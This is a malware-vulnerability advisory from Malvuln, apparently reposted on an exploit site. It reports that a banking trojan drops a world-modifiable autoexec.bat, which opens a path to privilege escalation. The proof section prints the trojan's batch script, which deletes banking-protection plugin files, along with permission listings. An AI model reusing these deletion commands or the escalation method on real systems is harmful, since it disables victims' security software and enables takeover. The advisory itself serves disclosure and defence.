Share
## https://sploitus.com/exploit?id=PACKETSTORM:166842
Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source:  
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Trojan-Banker.Win32.Banker.heq  
Vulnerability: Insecure Permissions  
Description: The malware writes a BAT script file with insecure permissions  
to c drive granting change (C) permissions to the authenticated user group.  
Standard users can rename the executable dropped by the malware to disable  
it or replace it with their own executable. Then wait for a privileged user  
to logon to the infected machine to potentially escalate privileges.  
Family: Banker  
Type: PE32  
MD5: f15d05f74899324ecb61ee29ad162fad  
Vuln ID: MVID-2022-0561  
Disclosure: 04/26/2022  
  
Exploit/PoC:  
C:\>cacls autoexec.bat  
C:\autoexec.bat BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
  
C:\>dir autoexec.bat  
Volume in drive C has no label.  
  
Directory of C:\  
  
04/13/2022 02:27 AM 636 autoexec.bat  
1 File(s) 636 bytes  
  
  
c:\>type autoexec.bat  
  
@echo off  
del c:\windows\downlo~1\ABN*.*  
del c:\windows\downlo~1\*ABN*.*  
del c:\windows\downlo~1\GBPDIST.DLL  
del c:\windows\downlo~1\scp*.*  
del c:\windows\downlo~1\gb*.*  
del c:\windows\downlo~1\*gb*.*  
del c:\windows\downlo~1\*UNI*.*  
del c:\windows\downlo~1\UNI*.*??  
del c:\WINDOWS\system32\Logof.dll  
del c:\arquiv~1\GbPlugin\gb*.*  
del c:\arquiv~1\GbPlugin\g*.*  
del c:\windwos\system32\snengine.exe  
del c:\windwos\system32\snagos.exe  
del c:\arquiv~1\Scpad\*scp*.??  
del c:\arquiv~1\Scpad\scp*.*  
del c:\windows\downlo~1\ATM*.*  
del c:\windows\downlo~1\*ATM*.*  
del c:\arquiv~1\Scpad\*ssh*.*  
del c:\arquiv~1\Scpad\*ssh*.?  
  
  
Disclaimer: The information contained within this advisory is supplied  
"as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author. The author is not responsible for any misuse of the information  
contained herein and accepts no responsibility for any damage caused by the  
use or misuse of this information. The author prohibits any malicious use  
of security related information or exploits by the author or elsewhere. Do  
not attempt to download Malware samples. The author of this website takes  
no responsibility for any kind of damages occurring from improper Malware  
handling or the downloading of ANY Malware mentioned on this website or  
elsewhere. All content Copyright (c) Malvuln.com (TM).